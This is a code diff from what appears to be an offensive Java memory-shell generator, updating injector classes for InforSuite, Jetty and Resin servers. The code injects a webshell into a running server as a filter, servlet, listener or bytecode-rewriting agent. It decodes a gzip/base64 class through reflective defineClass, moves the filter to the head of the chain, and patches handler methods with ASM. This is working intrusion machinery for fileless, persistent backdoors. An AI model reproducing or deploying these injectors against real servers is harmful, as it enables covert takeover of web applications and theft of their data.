if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
log.warning("filter already exists");
|
||||
return;
|
||||
}
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
@@ -114,7 +144,11 @@ public class InforSuiteFilterInjector {
|
||||
filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs");
|
||||
}
|
||||
filterConfigs.put(filterName, filterConfig);
|
||||
log.info("filter added successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -198,4 +232,19 @@ public class InforSuiteFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+70
-24
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
@@ -17,17 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class JettyFilterInjector {
|
||||
|
||||
public JettyFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -41,13 +32,49 @@ public class JettyFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public JettyFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
Object servletHandler = getFieldValue(context, "_servletHandler");
|
||||
if (servletHandler == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("filter is already injected");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -56,6 +83,7 @@ public class JettyFilterInjector {
|
||||
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
||||
"org.eclipse.jetty.ee11.servlet.FilterHolder",
|
||||
"org.mortbay.jetty.servlet.FilterHolder",
|
||||
};
|
||||
|
||||
@@ -78,7 +106,6 @@ public class JettyFilterInjector {
|
||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
||||
moveFilterToFirst(servletHandler);
|
||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||
System.out.println("filter added successfully");
|
||||
}
|
||||
|
||||
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
||||
@@ -102,7 +129,6 @@ public class JettyFilterInjector {
|
||||
}
|
||||
} else if (filterMaps instanceof ArrayList) {
|
||||
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
||||
filterLength = filterList.size();
|
||||
for (Object filter : filterList) {
|
||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
||||
if (filterName.equals(getClassName())) {
|
||||
@@ -113,11 +139,14 @@ public class JettyFilterInjector {
|
||||
}
|
||||
filterList.clear();
|
||||
filterList.addAll(reorderedFilters);
|
||||
} else {
|
||||
throw new IllegalArgumentException("filterMaps must be either an array or an ArrayList");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.webapp.WebAppContext
|
||||
* org.eclipse.jetty.webapp.WebAppContext
|
||||
@@ -165,16 +194,18 @@ public class JettyFilterInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
|
||||
@@ -223,7 +254,7 @@ public class JettyFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
@@ -257,4 +288,19 @@ public class JettyFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+8
-17
@@ -21,9 +21,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
"org/eclipse/jetty/ee8/servlet/ServletHandler",
|
||||
"org/eclipse/jetty/ee9/servlet/ServletHandler",
|
||||
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
|
||||
"org/eclipse/jetty/ee11/servlet/ServletHandler$Chain",
|
||||
"org/mortbay/jetty/servlet/ServletHandler"
|
||||
);
|
||||
private static String targetMethodName = "doHandle";
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
@@ -48,14 +48,7 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
String name = allLoadedClass.getName();
|
||||
for (String targetClass : TARGET_CLASSES) {
|
||||
if (targetClass.replace("/", ".").equals(name)) {
|
||||
if (name.contains("mortbay")) {
|
||||
targetMethodName = "handle";
|
||||
}
|
||||
if (name.contains("ee10")) {
|
||||
targetMethodName = "doFilter";
|
||||
}
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at " + name + "." + targetMethodName);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -66,10 +59,11 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASSES.contains(className)) {
|
||||
String targetMethodName = "doHandle";
|
||||
if (className.contains("mortbay")) {
|
||||
targetMethodName = "handle";
|
||||
}
|
||||
if (className.contains("ee10")) {
|
||||
if (className.contains("ee10") || className.contains("ee11")) {
|
||||
targetMethodName = "doFilter";
|
||||
}
|
||||
defineTargetClass(loader);
|
||||
@@ -81,8 +75,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
ClassVisitor cv = getClassVisitor(cw, targetMethodName);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + targetMethodName);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -92,19 +87,15 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv, String targetMethodName) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (targetMethodName.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+68
-29
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
@@ -14,22 +15,49 @@ import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* tested v7、v8、v9
|
||||
*
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JettyListenerInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public JettyListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
@@ -80,30 +108,21 @@ public class JettyListenerInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
public static void inject(Object context, Object listener) throws Exception {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
System.out.println("listener is already injected");
|
||||
return;
|
||||
}
|
||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
System.out.println("listener added successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public static boolean isInjected(Object context, String className) throws Exception {
|
||||
// jetty v8、 v9
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
Object object = invokeMethod(context, "getEventListeners");
|
||||
Object[] eventListeners = new Object[0];
|
||||
if (object instanceof List) {
|
||||
@@ -112,11 +131,16 @@ public class JettyListenerInjector {
|
||||
eventListeners = (Object[]) object;
|
||||
}
|
||||
for (Object eventListener : eventListeners) {
|
||||
if (eventListener.getClass().getName().contains(className)) {
|
||||
return true;
|
||||
if (eventListener.getClass().getName().contains(getClassName())) {
|
||||
return ;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -165,7 +189,7 @@ public class JettyListenerInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
@@ -199,4 +223,19 @@ public class JettyListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+68
-19
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.jetty;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
@@ -15,17 +16,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class JettyServletInjector {
|
||||
|
||||
public JettyServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getShell(context);
|
||||
inject(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -39,6 +30,45 @@ public class JettyServletInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public JettyServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundException {
|
||||
try {
|
||||
return classLoader.loadClass("javax.servlet.Servlet");
|
||||
@@ -87,32 +117,33 @@ public class JettyServletInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
Object servletHandler = getFieldValue(context, "_servletHandler");
|
||||
|
||||
if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("servlet is already injected");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
String[] classNames = new String[]{
|
||||
"org.eclipse.jetty.servlet.ServletHolder",
|
||||
"org.eclipse.jetty.ee8.servlet.ServletHolder",
|
||||
"org.eclipse.jetty.ee9.servlet.ServletHolder",
|
||||
"org.eclipse.jetty.ee10.servlet.ServletHolder",
|
||||
"org.eclipse.jetty.ee11.servlet.ServletHolder",
|
||||
"org.mortbay.jetty.servlet.ServletHolder",
|
||||
};
|
||||
|
||||
@@ -137,9 +168,12 @@ public class JettyServletInjector {
|
||||
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
|
||||
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});
|
||||
System.out.println("servlet inject successful");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
@@ -186,7 +220,7 @@ public class JettyServletInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
@@ -220,4 +254,19 @@ public class JettyServletInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+3
-7
@@ -42,7 +42,6 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -61,6 +60,7 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -77,12 +77,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+70
-28
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ResinFilterInjector {
|
||||
|
||||
public ResinFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -37,6 +28,45 @@ public class ResinFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ResinFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* com.caucho.server.webapp.Application
|
||||
* /usr/local/resin3/lib/resin.jar
|
||||
@@ -71,21 +101,25 @@ public class ResinFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object filter) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
|
||||
for (String key : filters.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||
Object filterMappingImpl = filterMappingClass.newInstance();
|
||||
@@ -96,18 +130,11 @@ public class ResinFilterInjector {
|
||||
invokeMethod(urlPattern, "init", null, null);
|
||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
System.out.println("filter injected");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
|
||||
for (String key : filters.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -155,7 +182,7 @@ public class ResinFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -184,4 +211,19 @@ public class ResinFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+67
-17
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
@@ -16,17 +17,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ResinListenerInjector {
|
||||
|
||||
public ResinListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
